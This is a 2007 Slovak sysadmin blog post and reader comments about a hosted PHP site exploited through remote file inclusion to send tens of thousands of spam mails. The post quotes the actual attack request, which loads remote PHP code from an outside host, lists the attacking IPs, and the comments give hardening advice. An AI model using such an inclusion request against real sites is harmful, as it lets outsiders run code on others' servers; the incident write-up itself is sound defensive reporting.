SPAM nas kazdodenny - ako mozete byt zneuzity

5.9.2007 09:19 | Přečteno: 1266× | System admin blog | poslední úprava: 5.9.2007 09:23

Dalsia prihoda, ktora zvyraznuje moj odpor ku SPAMu

Ked sme sli s mojou polovickou domov z prace dostal som SMS v zneni:"Caves, nejaky problem so serverom?nejde ani web ani ftp". Nevedel som o koho ide, kedze sa nepodpisal, tak som mu volal spat. Ukazalo sa, ze je to kamarat X!ch. Prislubil som mu, ze ked sa dostanem domov, tak mu na to pozriem. Predpokladal som, ze ma problem on so sietov. Za 10 minut som dostal druhu SMS od kamarata JOHANIATKA. Napisal:"Ahoj. Vypadok servera ...uz je to viac ako hodinu(Len pre info, ci o tom viete). Majo". Pridali sme do kroku s polovickou. Asi sa nieco deje.

Dosiel som domov...pingat server islo...aj SSH siel. Ale pozeral som, ze vsetka RAMka bola zozrata Postfixom a Apachom. Vo vronte Postfixu bolo 25 000 sprav, ktore boli poslane od uzivatela www-data na nezname/neexistujuce adresy. Tak reku, ze niekto sa bavi. Hladal som ale nic som nenasiel. Ked som restartol Apacha, prestali chodit dalsie maily do fronty. Tak som bol spokojny sam zo sebou. Vymazal som maily z fronty a bol pokoj.

Na dalsi ten som robil nieco na pocitaci. Isiel som si cez webmail pozriet svoju postu a na uvitacej stranke Horde som nasiel spravu od servra, ze ma malo miesta na disku. Prihlasim sa ma masinu vidim, ze je plny disk na ktorom su e-maily z fronty Postfixu. Pozriem do fronty a vo fronte 55 000 nedorucenych mailov. Rozhodol som sa hladat co sa uchylak toto robi. Po asi hodine hladania som dosiel na nasledovne veci:

- Pozrel som si server-status pre Apacheho a nasiel som nasledovnu podozrivu linku: DOMENA/main.php?p=http://www.danfortier.com/en/style.txt?. Kuknem na web a co nevidim? V stranke zakaznika je vlozeny formular zo stranky http://www.danfortier.com/en/style.txt. Ked si pozries tu stranku, je to cisty PHP kod na zasielanie mailov.

- Pozeral som logy a dosiel som na 4 IP adresy odkial to spustali: 196.1.176.194, 88.101.234.10, 82.206.131.126 a 195.225.62.76. Samozrejme dostali DROP do iptables:
iptables --list -v -n -t raw
...
46 2804 DROP all -- eth0 * 196.1.176.194 0.0.0.0/0
0 0 DROP all -- eth0 * 88.101.234.10 0.0.0.0/0
0 0 DROP all -- eth0 * 82.206.131.126 0.0.0.0/0
0 0 DROP all -- eth0 * 195.225.62.76 0.0.0.0/0
...

- Poziadal som vyvojara webu (dost znamu firmu) na opravenie diery vo webe, pretoze to moze dospiet az k vypnutiu ich webu.

Takze mili admini, bacha na derave weby, ktore su mozno aj u vas hostovane. Dostanete sa do black-listov bez svojeho zapricinenia a ani neviete ako a zase budete vy ty najhorsi, pretoze zakaznikovi nejde posielat maily .

       

Komentáře

[thefox]

Toto sa dá systematickejšie zakázať direktívou

allow_url_fopen = Off

a

allow_url_include = Off

v php.ini.

Všetky aplikácie na hostingu sa celkom dobre auditovať nedajú, a toto zabráni presne takémuto zneužitiu deravej aplikácie. Je síce potom trošku problematickejšie využívanie off-site zdrojov pre programátorov, ale nie je to nič nezvládnuteľné (namiesto jednoduchého include alebo fopen treba použiť knižnicu CURL).

[fixinko]

alebo opatchovat PHPcko suhosin patchom :)

[cievo]

Dakujem. Mno... :) Len neviem, preco som to povoloval...asi nejaky zakaznik vyzadoval :)

[fixinko]

mozno si zalamil ;) ale aj to sa stava

[thefox]

Ono je to myslím zapnuté defaultne a keď človek nevie, prečo to chce vypnúť, tak ho to nenapadne . Tiež som na tom tak bol a tiež som rozoslal nejaký ten spam :-P.

[fakenickname]

To se mi taky stalo. Mohlo za to include, které se prostě opravilo na file_exists(.. a byl klid.

[Petr]

Hm ten spam se nějak rozmáhá. Seznamu už kvůli tomu cca 4 dni nefunguje pořádně pošta. To fakt není nějaká možnost jak to automaticky zahazovat než to zahltí server?

[Michal Fecko]

To fakt není nějaká možnost jak to automaticky zahazovat než to zahltí server?

Skusit to zahadzovat pred serverom (nejaky stroj na pred-triedovanie posty) - ale neviem ci sa tym vyriesi "zahltenie"...

[Luk]

Server Postfix má nástroj zvaný anvil, který umožňuje přiškrcovat příjem pošty od jednotlivých klientů (na základě četnosti během určitého intervalu, např. 60 s). Tím se dá zahlcení zabránit, aniž by trpěl běžný poštovní provoz.